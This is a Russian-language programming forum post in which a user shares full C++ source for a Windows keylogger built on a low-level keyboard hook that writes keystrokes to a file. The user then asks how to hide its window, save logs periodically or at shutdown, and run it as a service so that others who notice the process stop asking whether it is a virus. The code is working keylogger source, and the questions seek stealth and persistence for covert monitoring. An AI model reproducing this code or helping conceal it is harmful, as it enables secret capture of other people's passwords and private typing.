Форум программистов, компьютерный форум CyberForum.ru

заменить MessageBox на ... - C++

Войти
Регистрация
Восстановить пароль
Другие темы раздела
C++ Heap corruption detected http://www.cyberforum.ru/cpp-beginners/thread70971.html
При попытке очистить память выдает "Heap corruption detected". Помогите пожалуйста( // labanext.cpp : Defines the entry point for the console application. // #include "stdafx.h"//включаем много интересных вещей #include <stdlib.h> #include <time.h> #include <iostream> #include <iomanip> using namespace std;
C++ Файлы Ребят, помогите, пожалуйста. Написать среднее арифметическое и среднее квадратическое элементов файла и записать в другой файл. (с++) Не получается организовать работу с файлами. http://www.cyberforum.ru/cpp-beginners/thread70965.html
Составить программу, моделирующую заполнение гибкого магнитного диска C++
задача такая Составить программу, моделирующую заполнение гибкого магнитного диска. Объем памяти на диске 360 Кбайт. Файлы имеют произвольную длину от 18 байт до 32 Кбайт. В процессе работы файлы либо записываются на диск, либо удаляются с него. В начале работы файлы записываются подряд друг за другом. После удаления файла на диске образуется свободный участок памяти, и вновь записываемый файл...
C++ исправление элементов приближенной обратной матрицы
:(препод задал курсач,нужно написать программу для вычисления обратной матрицы на си++,используя метод исправления элементов приближенной обратной матрицы, это вычмат, у нас нет такого предмета,открыла книжку,по которой он сказал готовиться(Демидович и Марон "Основы Вычислстельной математики") ничего не поняла,если сможете пожалуйста помогите....
C++ Найдите ошибку! http://www.cyberforum.ru/cpp-beginners/thread70888.html
Помогите пожалуйста найти ошибку - не выводит ни суммы, ни произведения??? И как вводить с клавиатуры матрицу, чтобы она выглядела как матрица, а не всё в столбик??? Matr.h #ifndef __matr_h__ #define __matr_h__ const int N=2; const int M=2; typedef struct { double R; }matrix ;
C++ Найти длину самого короткого и самого длинного слова помогите решить Дана символьная строка, содержащая текст, который заканчивается точ¬кой. Найти длину самого короткого и самого длинного слова. подробнее

Показать сообщение отдельно
124bit
0 / 0 / 0
Регистрация: 06.12.2009
Сообщений: 17

заменить MessageBox на ... - C++

06.12.2009, 01:00. Просмотров 1361. Ответов 5
Метки (Все метки)

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#define _WIN32_WINNT 0x0500
 
 
#include<fstream>
#include<windows.h>
#include<iostream>
using namespace std;
 
ofstream out("keys.txt", ios::out);
 
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) 
        {  
    PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
        // If key is being pressed
    if (wParam == WM_KEYDOWN) {
        switch (p->vkCode) {
 
            // Invisible keys
            case VK_CAPITAL:    out << "<CAPLOCK>";     break;
            case VK_SHIFT:      out << "<SHIFT>";       break;
            case VK_LCONTROL:   out << "<LCTRL>";       break;
            case VK_RCONTROL:   out << "<RCTRL>";       break;
            case VK_INSERT:     out << "<INSERT>";      break;
            case VK_END:        out << "<END>";         break;
            case VK_PRINT:      out << "<PRINT>";       break;
            case VK_DELETE:     out << "<DEL>";         break;
            case VK_BACK:       out << "<BK>";          break;
 
            case VK_LEFT:       out << "<LEFT>";        break;
            case VK_RIGHT:      out << "<RIGHT>";       break;
            case VK_UP:         out << "<UP>";          break;
            case VK_DOWN:       out << "<DOWN>";        break;
 
            // Visible keys
            default:
                out << char(tolower(p->vkCode));
 
                          }
                              }
 
    return CallNextHookEx(NULL, nCode, wParam, lParam);
       }    
 
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
 
    // Set windows hook
    HHOOK keyboardHook = SetWindowsHookEx(
        WH_KEYBOARD_LL,
        keyboardHookProc,
        hInstance,
        0);
    MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
 
    out.close();
 
    return 0;
}

это скатанные кейлоггер.. Именно си++ почти не знаю.

мне надо, чтоб он сохранял нажатия клавиш не после нажатия кнопки ок в окне, а перед выключением компа или каждые 10 мин, и так и так, а окно вообще чтоб не вылазило)).
Никак не могу понять, как это замутить. Если окно заменить на бесконечный цикл - проц сильно загружен становиться, если на слип - программа вообще не работает((
помогите, пожалуйста

Добавлено через 3 минуты
и еще вопрос... зачем вот эта строка
#define _WIN32_WINNT 0x0500
?

Добавлено через 13 минут
ии еще вопрос.. как эту глупость сделать сервисом, если это не сложно,?
ато достали с вопросами, *чего это такое там в процессах блин.. не вирус ли?*

Добавлено через 14 секунд
ии еще вопрос.. как эту глупость сделать сервисом, если это не сложно,?
ато достали с вопросами, *чего это такое там в процессах блин.. не вирус ли?*
После регистрации реклама в сообщениях будет скрыта и будут доступны все возможности форума.
 
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2017, vBulletin Solutions, Inc.
Рейтинг@Mail.ru